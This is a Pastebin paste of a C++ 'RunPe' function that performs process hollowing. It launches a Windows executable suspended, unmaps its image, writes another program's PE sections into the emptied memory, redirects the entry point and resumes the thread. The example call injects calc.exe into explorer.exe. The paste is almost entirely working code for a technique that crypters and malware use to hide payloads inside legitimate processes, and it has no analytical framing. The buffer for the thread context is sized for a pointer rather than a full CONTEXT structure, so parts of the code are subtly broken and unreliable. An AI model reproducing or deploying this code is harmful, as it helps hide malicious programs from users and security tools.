krot

RunPe

Oct 4th, 2016
297
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. void RunPe( wstring const& target, wstring const& source )
  2. {
  3.     Pe src_pe( source );        // Parse source PE structure
  4.     if ( src_pe.isvalid )
  5.     {        
  6.         Process::CreationResults res = Process::CreateWithFlags( target, L"", CREATE_SUSPENDED, false, false ); // Start a suspended instance of target
  7.         if ( res.success )
  8.         {
  9.             PCONTEXT CTX = PCONTEXT( VirtualAlloc( NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE ) );   // Allocate space for context
  10.             CTX->ContextFlags = CONTEXT_FULL;
  11.  
  12.             if ( GetThreadContext( res.hThread, LPCONTEXT( CTX ) ) )    // Read target context
  13.             {
  14.                 DWORD dwImageBase;
  15.                 ReadProcessMemory( res.hProcess, LPCVOID( CTX->Ebx + 8 ), LPVOID( &dwImageBase ), 4, NULL );        // Get base address of target
  16.                
  17.                 typedef LONG( WINAPI * NtUnmapViewOfSection )(HANDLE ProcessHandle, PVOID BaseAddress);
  18.                 NtUnmapViewOfSection xNtUnmapViewOfSection;
  19.                 xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
  20.                 if ( 0 == xNtUnmapViewOfSection( res.hProcess, PVOID( dwImageBase ) ) )  // Unmap target code
  21.                 {
  22.                     LPVOID pImageBase = VirtualAllocEx(res.hProcess, LPVOID(dwImageBase), src_pe.NtHeadersx86.OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);  // Realloc for source code
  23.                     if ( pImageBase )
  24.                     {
  25.                         Buffer src_headers( src_pe.NtHeadersx86.OptionalHeader.SizeOfHeaders );                 // Read source headers
  26.                         PVOID src_headers_ptr = src_pe.GetPointer( 0 );
  27.                         if ( src_pe.ReadMemory( src_headers.Data(), src_headers_ptr, src_headers.Size() ) )
  28.                         {
  29.                             if ( WriteProcessMemory(res.hProcess, pImageBase, src_headers.Data(), src_headers.Size(), NULL) )   // Write source headers
  30.                             {
  31.                                 bool success = true;
  32.                                 for (u_int i = 0; i < src_pe.sections.size(); i++)     // Write all sections
  33.                                 {
  34.                                     // Get pointer on section and copy the content
  35.                                     Buffer src_section( src_pe.sections.at( i ).SizeOfRawData );
  36.                                     LPVOID src_section_ptr = src_pe.GetPointer( src_pe.sections.at( i ).PointerToRawData );
  37.                                     success &= src_pe.ReadMemory( src_section.Data(), src_section_ptr, src_section.Size() );                                    
  38.  
  39.                                     // Write content to target
  40.                                     success &= WriteProcessMemory(res.hProcess, LPVOID(DWORD(pImageBase) + src_pe.sections.at( i ).VirtualAddress), src_section.Data(), src_section.Size(), NULL);
  41.                                 }
  42.  
  43.                                 if ( success )
  44.                                 {
  45.                                     WriteProcessMemory( res.hProcess, LPVOID( CTX->Ebx + 8 ), LPVOID( &pImageBase), sizeof(LPVOID), NULL );      // Rewrite image base
  46.                                     CTX->Eax = DWORD( pImageBase ) + src_pe.NtHeadersx86.OptionalHeader.AddressOfEntryPoint;        // Rewrite entry point
  47.                                     SetThreadContext( res.hThread, LPCONTEXT( CTX ) );                                              // Set thread context
  48.                                     ResumeThread( res.hThread );                                                                    // Resume main thread
  49.                                 }                              
  50.                             }
  51.                         }                      
  52.                     }
  53.                 }
  54.             }
  55.  
  56.             if ( res.hProcess) CloseHandle( res.hProcess );
  57.             if ( res.hThread ) CloseHandle( res.hThread );
  58.         }
  59.     }
  60. }
  61. ...
  62. RunPe( L"C:\\windows\\explorer.exe", L"C:\\windows\\system32\\calc.exe" );
RAW Paste Data